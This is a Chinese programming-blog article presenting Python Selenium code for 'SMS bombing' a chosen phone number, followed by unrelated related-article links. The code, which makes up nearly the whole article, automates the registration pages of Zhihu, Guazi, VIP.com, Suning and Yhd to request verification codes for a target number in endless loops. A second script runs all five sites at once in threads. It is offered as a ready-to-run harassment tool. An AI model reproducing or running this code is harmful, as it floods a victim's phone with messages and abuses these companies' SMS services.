Python短信轰炸的代码


Posted in Python onMarch 25, 2020

环境 python3.0

工具 pycharm

谷歌插件chromedriver

程序执行方法

from selenium import webdriver
import time
from threading import Thread
class HongZha(object):
  def __init__(self):
    self.phone = "xxxxx"#你要轰炸的电话号码
    self.num = 0
  def send_yzm(self,button,name):
    button.click()
    self.num+=1
    print("{}  第{}次  发送成功  {}".format(self.phone,self.num,name))
    time.sleep(30)
  def zhihu(self,name):
    while True:#下面这行是刚刚叙说的chromedrive的安装路径

      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.zhihu.com/question/39993344")
      driver.find_element_by_xpath ( "//button[@class='Button Button--primary Button--blue']" ).click ()
      time.sleep(2)
      tel = driver.find_element_by_xpath("//input[@placeholder='手机号']")
      tel.send_keys(self.phone)
      button = driver.find_element_by_xpath ( "//button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" )
      self.send_yzm(button,name)
      driver.quit ()
  def guazi(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.guazi.com/www/bj/buy")
      a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )
      a_btn.click()
      time.sleep(2)
      tel = driver.find_element_by_xpath("//input[@placeholder='请输入您的手机号码']")
      tel.send_keys( self.phone )
      button = driver.find_element_by_xpath("//button[@class='get-code']")
      self.send_yzm(button,name)
      driver.quit()
  def wphui(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )
      tel = driver.find_element_by_xpath ( "//input[@placeholder='请输入手机号码']" )
      tel.send_keys ( self.phone )
      driver.find_element_by_xpath ( "//input[@id='J_mobile_code']" ).click()
      button = driver.find_element_by_xpath (
        "//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def suning(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://reg.suning.com/person.do" )
      driver.find_element_by_xpath("//a[@class='agree-btn']").click()
      tel = driver.find_element_by_xpath ( "//input[@id='mobileAlias']")
      tel.send_keys ( self.phone )
      button = driver.find_element_by_xpath (
        "//a[@id='sendSmsCode']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def yhd(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.yhd.com/passport/register_input.do" )
      driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("我的女神daadaamnabajhdja")
      tel = driver.find_element_by_xpath ( "//input[@id='phone']" )
      tel.send_keys ( self.phone )
      time.sleep(2)
      button = driver.find_element_by_xpath (
        "//a[@class='receive_code fl same_code_btn r_disable_code ']" )
      #button.click()
      time.sleep(1)
      self.send_yzm ( button,name )
      driver.quit ()

执行放发

from threading import Thread

from sendPhon import HongZha

hongzha = HongZha()
zhihu = Thread(target=hongzha.zhihu,args=("知乎",))
guazi = Thread ( target=hongzha.guazi,args=("瓜子",))
wphui = Thread(target=hongzha.wphui,args=("唯品会",))
suning = Thread(target=hongzha.suning,args=("苏宁",))
yhd= Thread( target=hongzha.yhd,args=("一号店",))
zhihu.start()
guazi.start()
wphui.start()
suning.start()
yhd.start()

总结

到此这篇关于Python短信轰炸的代码的文章就介绍到这了,更多相关Python短信轰炸内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
用python实现的可以拷贝或剪切一个文件列表中的所有文件
Apr 30 Python
python获取当前用户的主目录路径方法(推荐)
Jan 12 Python
Python利用Beautiful Soup模块修改内容方法示例
Mar 27 Python
Python入门_浅谈字符串的分片与索引、字符串的方法
May 16 Python
VScode编写第一个Python程序HelloWorld步骤
Apr 06 Python
TensorFlow实现Logistic回归
Sep 07 Python
PyTorch搭建多项式回归模型(三)
May 22 Python
python爬虫selenium和phantomJs使用方法解析
Aug 08 Python
python3.7环境下安装Anaconda的教程图解
Sep 10 Python
python实现的分层随机抽样案例
Feb 25 Python
python使用pymongo与MongoDB基本交互操作示例
Apr 09 Python
tensorflow安装成功import tensorflow 出现问题
Apr 16 Python
PyQt5事件处理之定时在控件上显示信息的代码
Mar 25 #Python
基于Python计算圆周率pi代码实例
Mar 25 #Python
Python异常原理及异常捕捉实现过程解析
Mar 25 #Python
Python导入模块包原理及相关注意事项
Mar 25 #Python
Python脚本导出为exe程序的方法
Mar 25 #Python
Python实现猜年龄游戏代码实例
Mar 25 #Python
python读取mysql数据绘制条形图
Mar 25 #Python
You might like
关于crontab的使用详解
2013/06/24 PHP
解析wamp5下虚拟机配置文档
2013/06/27 PHP
支持png透明图片的php生成缩略图类分享
2015/02/08 PHP
thinkphp集成前端脚手架Vue-cli的教程图解
2018/08/30 PHP
[原创]js获取数组任意个不重复的随机数组元素
2010/03/15 Javascript
js自动闭合html标签(自动补全html标记)
2012/10/04 Javascript
jQuery获取当前对象标签名称的方法
2014/02/07 Javascript
javascript等号运算符使用详解
2015/04/16 Javascript
JS实现的自定义右键菜单实例二则
2015/09/01 Javascript
js剪切板应用clipboardData实例解析
2016/05/29 Javascript
网络传输协议(http协议)
2016/11/18 Javascript
JavaScript正则获取地址栏中参数的方法
2017/03/02 Javascript
使用AngularJS编写多选按钮选中时触发指定方法的指令代码详解
2017/07/24 Javascript
工作中常用到的ES6语法
2018/09/04 Javascript
VUE 实现滚动监听 导航栏置顶的方法
2018/09/11 Javascript
微信小程序实现星级评价效果
2018/12/28 Javascript
微信小程序实现滑动切换自定义页码的方法分析
2018/12/29 Javascript
python基础教程之基本内置数据类型介绍
2014/02/20 Python
Python通过DOM和SAX方式解析XML的应用实例分享
2015/11/16 Python
Python for循环搭配else常见问题解决
2020/02/11 Python
Python反爬虫伪装浏览器进行爬虫
2020/02/28 Python
python+Selenium自动化测试——输入,点击操作
2020/03/06 Python
Pycharm自带Git实现版本管理的方法步骤
2020/09/18 Python
Python reversed反转序列并生成可迭代对象
2020/10/22 Python
纯CSS3制作的简洁蓝白风格的登录模板(非IE效果更好)
2013/08/11 HTML / CSS
美国最大的户外装备和服装购物网站:Backcountry
2019/10/15 全球购物
数据库什么时候应该被重组
2012/11/02 面试题
27个经典Linux面试题及答案,你知道几个?
2013/01/10 面试题
军训感想500字
2014/02/20 职场文书
高三学习决心书
2014/03/11 职场文书
煤矿开采专业求职信
2014/07/08 职场文书
导师鉴定意见
2015/06/05 职场文书
2019假期福利管理制度!
2019/07/15 职场文书
职业规划从高考志愿专业选择开始
2019/08/08 职场文书
mybatis调用sqlserver存储过程返回结果集的方法
2021/05/08 SQL Server
python turtle绘图
2022/05/04 Python